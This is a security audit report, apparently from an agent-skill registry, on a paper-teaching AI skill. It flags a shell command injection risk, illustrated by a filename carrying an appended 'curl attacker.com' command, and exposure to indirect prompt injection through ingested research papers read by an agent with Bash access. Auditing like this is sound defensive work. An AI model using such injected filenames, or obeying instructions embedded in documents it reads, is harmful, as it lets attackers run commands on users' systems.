teach-from-paper

Warn

Audited by Gen Agent Trust Hub on Jun 14, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill instructions specify a shell command for processing PDF files: TMP=$(mktemp -t paper).txt && pdftotext "$0" "$TMP". Since $0 is a user-supplied file path, this creates a command injection vulnerability. A maliciously crafted filename containing shell metacharacters (e.g., paper.pdf; curl attacker.com) could be used to execute arbitrary commands if the agent's environment does not sanitize the input path before execution.
  • [PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection because it ingests and processes untrusted external data from research papers.
  • Ingestion points: Research paper files (PDF, .tex, .md, etc.) are read into the context window for end-to-end analysis.
  • Boundary markers: The skill lacks explicit instructions or delimiters to ignore or distinguish embedded instructions within the paper from its own instructional framework.
  • Capability inventory: The skill has access to powerful tools including Bash, Write, and Read, which could be exploited if an analyzed paper contains adversarial instructions.
  • Sanitization: There is no mention of sanitizing or validating the contents of the papers before processing.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Jun 14, 2026, 11:25 AM
Security Audit — agent-trust-hub — teach-from-paper